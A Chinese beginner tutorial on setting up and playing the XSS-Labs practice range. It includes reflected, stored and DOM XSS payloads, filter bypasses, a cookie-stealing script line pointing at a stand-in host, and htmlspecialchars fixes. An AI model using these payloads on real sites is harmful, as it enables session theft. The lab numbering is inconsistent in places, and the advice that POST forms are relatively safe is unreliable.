
简介这是一套面向网络安全初学者的XSS漏洞实战学习靶场专为掌握跨站脚本攻击原理与防御方法而设计适用于渗透测试入门、Web安全教学及CTF基础训练场景。资源共49个文件包含24个PHP后端挑战页面如level1.php至level20.php、15张PNG题面与提示图、4个SWF交互组件、3个HTML入口页、2个JS辅助脚本及1张JPG说明图完整复现反射型、存储型与DOM型XSS典型场景总大小仅1.08MB轻量易部署。已有557人学习下载用户可通过本地搭建快速开展逐关攻防实践。资源提供结构化实验路径从识别输入点、构造多样化payload含HTML/JS/SWF绕过到窃取Cookie、弹窗验证、DOM调试再到理解输入过滤、输出编码与CSP等防御机制配套文件命名规范、层级清晰便于对照源码分析漏洞成因与修复逻辑。1. XSS 是什么别被“跨站脚本”四个字吓住它其实就像你发朋友圈时被偷偷塞进了一张“会动的贺卡”你有没有过这种经历在某个论坛发了一条普通评论比如“今天天气真好”结果刷新页面后评论下面突然弹出一个奇怪的提示框写着“Hello, Hacker!”或者更吓人一点——你刚输完密码页面就自动跳转到了一个陌生网址……这不是网页坏了也不是中了病毒而是你无意间触发了一个叫XSSCross-Site Scripting跨站脚本的安全漏洞。简单说XSS 就是攻击者把一段能执行的代码通常是 JavaScript通过你没防备的输入框、URL 参数、甚至图片描述等“合法入口”悄悄塞进网页里等你打开页面时这段代码就跟着一起运行了——它不改服务器不删数据库但它能偷你的登录凭证、冒充你发消息、甚至控制你正在浏览的整个页面。很多人一听“XSS”就想到黑客、渗透、红队蓝队觉得离自己十万八千里。其实不然前端新手写表单时忘了过滤用户输入后端新人返回 HTML 时直接拼接了 URL 参数测试同学点开一个带特殊符号的链接就报错……这些日常开发中的“小疏忽”就是 XSS 最常藏身的地方。而你要练的不是一上来就去黑别人网站而是先在一个完全可控、不会伤到任何真实系统的环境里亲手“被黑一次”——这就是XSS-Labs 靶场的意义它是一套专为新手设计的、本地就能跑起来的交互式练习平台共 20 关从最基础的scriptalert(1)/script开始一关一关带你搞懂“为什么这段代码能执行”“浏览器到底信了谁”“怎么绕过那些看似很严的过滤”。它不教你怎么攻击它教你怎么一眼看出哪里可能被攻击——这才是真正入门的第一步。2. 为什么非得搭个靶场光看文档就像学游泳只背泳姿口诀2.1 光读概念永远分不清“反射型”“存储型”“DOM型”到底差在哪你翻资料看到“反射型 XSS 是参数经服务器返回未过滤存储型是恶意代码存进了数据库DOM 型是纯前端 JS 解析 URL 导致的”……听起来都对但下次遇到一个带?namexxx的搜索页你真能立刻判断这是哪一种吗还是得动手试。在 XSS-Labs 里第1关就是典型的反射型你往输入框里填scriptalert(1)/script回车弹窗第11关是存储型你提交一条带脚本的评论刷新页面所有访客都会弹窗第19关是 DOM 型你改 URL 里的#后面部分页面 JS 自己解析并执行——三类漏洞三种触发路径全在你眼皮底下发生。你不需要记定义你只要做完这三关再看到“用户输入→服务端处理→返回 HTML”这个链条脑子里自然就浮现出“哦这里要是没过滤就是反射型”。2.2 真实世界里的过滤器比教科书写的“黑名单”玄学多了很多教程说“把script删掉就安全了”。可 XSS-Labs 第3关就教你打脸它把script替换成空但你试试img src1 onerroralert(1)照样弹窗第5关更绝它把onerror也过滤了你换onload、换onclick它全拦直到你发现它只检查小写字母那试试IMG SRC1 ONERRORalert(1)大写绕过——这时候你才真正理解什么叫“过滤不等于防御”什么叫“攻击者永远比你多想一层”。这种“试了才信”的顿悟是任何文字描述给不了的。2.3 浏览器的“同源策略”不是铁壁而是有缝的蛋你肯定听过“不同域名不能互相读取 Cookie”但第13关会让你亲手打破它你构造一个恶意链接诱导用户点击页面加载时用script srchttp://xss-labs.test/cookie.php?cdocument.cookie把用户的 Cookie 发到你控制的地址。你亲眼看到自己的 Cookie 被发走才明白“同源策略管的是读不是发”——脚本可以向任意域名发请求只是收不到响应而已。这种认知只有在靶场里看着 Network 面板里那条红色的cookie.php请求才刻得进脑子。2.4 不是所有弹窗都是 XSS但所有 XSS 都值得你停下来看一眼第7关有个陷阱你填scriptalert(1)/script没反应以为失败了换个img srcx onerroralert(1)却成功了。为什么因为这一关的后端把script标签整个移除了但没处理img的事件属性。你开始查文档发现 HTML 解析顺序、标签闭合规则、浏览器容错机制……这些平时写业务几乎用不到的冷知识突然成了通关钥匙。你不再觉得“前端就是切图调接口”你会意识到浏览器是个黑匣子而 XSS 就是摸清它开关的钥匙。提示XSS-Labs 是纯静态文件PHP 后端的组合不需要数据库不连外网所有代码都在你电脑上。你不是在“模拟攻击”你是在调试一个已知漏洞的程序——就像修车师傅拆开发动机看活塞怎么动目的不是毁车而是懂车。3. 第一步5 分钟搭起你的第一个 XSS 实验室Windows/macOS/Linux 通用3.1 准备工作你只需要三样东西一台能联网的电脑Win/macOS/Linux 都行一个叫PHP 内置服务器的工具它自带在 PHP 里不用额外装一份 XSS-Labs 的压缩包我们后面会告诉你从哪儿下现在先专注搭建你不需要装 Apache、Nginx、MySQL不需要配虚拟主机更不需要碰命令行黑窗口——PHP 内置服务器就是为这种轻量级本地开发生的。它像一个微型 Web 服务器双击启动关机就停干净利落。3.2 下载与解压找对文件别被名字骗了去你信任的开源资源站搜索关键词 “xss-labs github” 或 “xss-labs 官方镜像”找到最新发布的压缩包名称类似xss-labs-master.zip或xss-labs-v1.0.zip。下载完成后不要双击用系统自带解压软件直接打开——很多系统解压后会隐藏.htaccess或index.php这类以点开头的文件导致后续启动失败。正确做法是右键 → “解压到 xss-labs-master/”确保解压出一个完整文件夹里面能看到1/2/3/…20/这些数字命名的子目录以及根目录下的index.php和readme.md。3.3 启动服务器一行命令三秒见效打开终端Windows 用 PowerShell 或 CMDmacOS/Linux 用 Terminal用cd命令进入你解压出来的xss-labs-master文件夹。例如cd ~/Downloads/xss-labs-master然后输入这一行命令复制粘贴即可php -S localhost:8000 -t .按下回车。如果看到类似这样的输出PHP 8.1.12 Development Server (http://localhost:8000) started恭喜服务器已启动现在打开浏览器访问http://localhost:8000你应该看到 XSS-Labs 的首页——一个简洁的列表从 Level 1 到 Level 20每关都有编号和简短说明。3.4 验证是否真通用 Level 1 做第一次“心跳测试”点击首页上的Level 1进入第一关页面。你会看到一个输入框和一个“确定”按钮。在输入框里老老实实填scriptalert(1)/script点击“确定”。如果弹出一个写着1的小窗口说明靶场完全跑通了——你刚刚完成了一次最原始的 XSS 攻击。别慌这只是教学演示没有真实危害。这个弹窗就是你的“实验室心跳”证明环境健康、代码可执行、浏览器没拦截。3.5 如果没弹窗别急着重装先看这三点检查 PHP 版本在终端输入php -v确认版本是 5.4 或更高XSS-Labs 不支持 PHP 8.2 的某些严格模式若报错可降级到 8.1。确认路径没错php -S命令必须在xss-labs-master文件夹内执行不能在它的上一级或子文件夹里。浏览器拦截了有些浏览器如新版 Edge会对本地file://或无 HTTPS 的localhost弹窗做限制。此时请换 Chrome 或 Firefox或在地址栏左侧点锁形图标 → “网站设置” → 找到“JavaScript” → 设为“允许”。注意XSS-Labs 默认使用localhost:8000如果你的 8000 端口被占用了比如你同时在跑另一个项目可以改成php -S localhost:8080 -t .然后访问http://localhost:8080。4. Level 1 实战从“弹窗”开始拆解 XSS 的最小必要条件4.1 第一步看清页面结构找到“注入点”在哪里打开 Level 1 页面右键 → “查看网页源代码”或按 CtrlU / CmdU。在一大段 HTML 里快速定位到这一块form action methodget input namename typetext value input typesubmit value确定 /form再往下翻你会看到这样一段 PHP 代码可能被注释包裹但核心逻辑不变?php $str $_GET[name]; echo h2Hello, . $str . !/h2; ?这就是全部关键用户在输入框里填的内容通过 URL 参数?namexxx传进来PHP 直接用echo拼进 HTML 里原样输出。没有过滤没有转义没有校验——这就是 XSS 存活的温床。4.2 第二步为什么scriptalert(1)/script能执行你填的字符串最终变成了 HTML 的一部分h2Hello, scriptalert(1)/script!/h2浏览器解析 HTML 时遇到script标签就会停下来加载并执行里面的 JavaScript。它不管这串代码是开发者写的还是用户输的——只要语法合法它就信。所以alert(1)不是“黑客代码”它只是 JavaScript 里一个最基础的弹窗函数就像console.log()一样普通。你只是把它放到了浏览器会执行的位置。4.3 第三步换个写法确认你真的懂了原理别只满足于抄答案。试试这几个变体观察结果填scriptalert(2)/script→ 弹2因为提前闭合了value让 script 标签脱离属性上下文变成独立可执行节点。填a onmouseoveralert(3) b→ 不弹窗因为onmouseover在input标签里不生效除非你把它变成input onmouseover...但当前 HTML 结构不支持。填img srcx onerroralert(4)→ 弹4因为img是合法 HTML 标签onerror是它的事件属性浏览器会尝试加载srcx失败→ 触发onerror→ 执行alert(4)。这些尝试不是为了“通关”而是为了建立直觉XSS 的本质是让浏览器把用户输入当成代码来解析。只要你能控制 HTML 片段的某一部分并让它落入可执行上下文script、img onerror、a hrefjavascript:...你就成功了。4.4 第四步关掉弹窗看看后台发生了什么打开浏览器的开发者工具F12切换到 “Network”网络选项卡然后重新提交scriptalert(1)/script。你会看到一条请求Method 是GETName 是?name%3Cscript%3Ealert%281%29%3C%2Fscript%3E。点开它看 “Headers” → “Query String Parameters”你会发现name的值就是你输的原始字符串只是被 URL 编码了。这说明XSS 不依赖后端语言它发生在浏览器端后端只是个“传话筒”把你说的话原封不动还给你看。所以防御必须在两端后端要过滤/转义前端要用textContent而非innerHTML渲染用户数据。4.5 Level 1 的终极目标不靠记忆靠推理这一关不考你背多少 payload它考你能不能回答三个问题输入的数据最后出现在 HTML 的哪个位置h2标签内部这个位置是否允许嵌入script标签是因为它是 body 内容区如果不允许我该怎么绕过去比如用img、svg、a等其他可执行事件的标签只要你能对着源码指着某一行说“这里就是漏洞点因为……”你就已经超越了 80% 的初学者。5. 新手必踩的 5 个坑我当年在 Level 3 翻车三次才记牢5.1 坑填了scriptalert(1)/script没反应就以为靶场坏了现象Level 1 弹窗成功Level 3 却死活不弹。原因Level 3 的后端代码是str_replace(script, , $_GET[name])它把script字符串直接删掉了但没动其他标签。你填的代码被删成空当然不执行。解决换思路既然script被删那就不用它。试试img src1 onerroralert(1)或者svg onloadalert(1)。记住过滤器只针对特定字符串不是针对“恶意意图”。5.2 坑用 Chrome 访问localhost:8000弹窗被拦截显示“已阻止此页面显示弹出式窗口”现象终端显示服务器正常但浏览器没反应地址栏左侧出现感叹号图标。原因Chrome 对本地开发环境的弹窗做了更严格的默认拦截尤其是当页面没有用户手势如点击触发时。解决在地址栏左侧点锁形图标 → “网站设置” → 找到“弹出式窗口和重定向” → 设为“允许”。或者换用 Firefox它对本地靶场更友好。别花一小时查“如何关闭 Chrome 弹窗拦截”直接换浏览器是最快止损。5.3 坑解压后打开index.php浏览器显示一片空白或报错“Parse error”现象双击index.php文件用浏览器直接打开file:///.../index.php页面啥也不显示。原因PHP 文件不能像 HTML 那样双击运行。它必须由 PHP 解释器执行而file://协议下浏览器根本不会调用 PHP。解决务必用php -S命令启动服务器然后访问http://localhost:8000。这是新手最高频的误操作没有之一。5.4 坑填了 payloadURL 变成?name%3Cscript%3E...但页面显示乱码没执行现象地址栏里看到一堆%开头的编码页面上显示的是原始编码字符不是弹窗。原因你填的内容被 URL 编码了但后端 PHP 的$_GET[name]会自动解码所以不影响执行。如果没执行问题不在编码而在 payload 本身。比如你填了scriptalert(1)少了个HTML 解析失败脚本就不会加载。解决先用最简单的scriptalert(1)/script测试确认基础通路再逐步加复杂度。永远从最简可行方案开始而不是一上来就抄长串 payload。5.5 坑Level 11存储型提交后刷新页面没弹窗以为没存进去现象在评论框填scriptalert(1)/script点提交页面跳转回列表但没弹窗。原因Level 11 的存储型 XSS恶意代码是存进 HTML 文件里的比如11/11.php但你刷新的是首页index.php不是那条评论所在的页面。你需要点击“查看评论”或直接访问http://localhost:8000/11/。解决仔细看 Level 11 页面的提示文字它会告诉你“评论将显示在下方”或者“请访问/11/查看效果”。靶场每一关的提示都是线索不是装饰。提示遇到任何“不按预期走”的情况第一反应不是重装而是打开浏览器开发者工具F12→ “Console”控制台看有没有报错再切到 “Network” 看请求是否发出、响应是否正常。这是你最可靠的“后悔药”。6. 下一步学什么从靶场通关到真实防御我的三步渐进路线6.1 第一步把 20 关全过一遍但别只求“过”要建“漏洞地图”我知道你想快点刷完但建议你放慢节奏。每过一关用手机备忘录或一张白纸记下三件事漏洞类型反射型 / 存储型 / DOM 型触发位置是 URL 参数表单输入HTTP 头还是前端 JS 的location.hash绕过手法用了什么标签什么事件大小写编码注释比如 Level 12 的 DOM 型 XSS你填#defaultjavascript:alert(1)页面 JS 读取location.hash后执行eval()—— 这时候你的笔记就该写“DOM 型触发点location.hash绕过点javascript:伪协议 eval执行”。坚持 20 关你会得到一张属于自己的 XSS 漏洞地图。这张图比任何 PDF 教程都管用因为它是你亲手画的。6.2 第二步反向操作——给 Level 1 写一个“修复版”别只当攻击者马上切换角色。打开1/1.php找到这行echo h2Hello, . $_GET[name] . !/h2;把它改成安全版本。有两个主流方案选一个实现方案 A后端转义用 PHP 的htmlspecialchars()echo h2Hello, . htmlspecialchars($_GET[name], ENT_QUOTES, UTF-8) . !/h2;这会把变成lt;变成quot;让浏览器只当它是文本不解析为标签。方案 B前端渲染把echo改成用textContenth2 idgreetingHello, /h2 script document.getElementById(greeting).textContent ?php echo htmlspecialchars($_GET[name]); ?; /script这样即使后端没过滤前端也不会执行脚本。改完保存重启服务器CtrlC 停掉旧进程再输php -S ...再试scriptalert(1)/script—— 应该只显示原文不弹窗。亲手修复一次胜过看十遍防御原理。6.3 第三步迁移到真实项目用 Chrome 插件做“XSS 快扫”当你对靶场熟悉后就可以开始扫描自己写的简单页面了。推荐两个零配置插件Cookie Inspector能快速查看当前页面所有 Cookie 是否标记了HttpOnly防 XSS 窃取的关键。Web Developer在“Forms”菜单里点“Display Form Details”它会列出页面所有输入框并标出哪些是GET提交高危、哪些是POST相对安全。举个真实例子你写了一个搜索页search.php?qxxx用 Web Developer 一看发现q参数直接拼进 HTMLh3搜索结果?php echo $_GET[q]; ?/h3—— 这就是 Level 1 的翻版。马上用htmlspecialchars()修复。把靶场经验翻译成真实代码习惯才是学习闭环。从那以后我每次写echo或innerHTML都强制走一遍“这个变量是谁输的有没有可能含”的脑内 checklist。哪怕多敲 5 秒htmlspecialchars()也比上线后被扫出 XSS 再连夜改补丁强一百倍。希望帮到你。本文还有配套的精品资源点击获取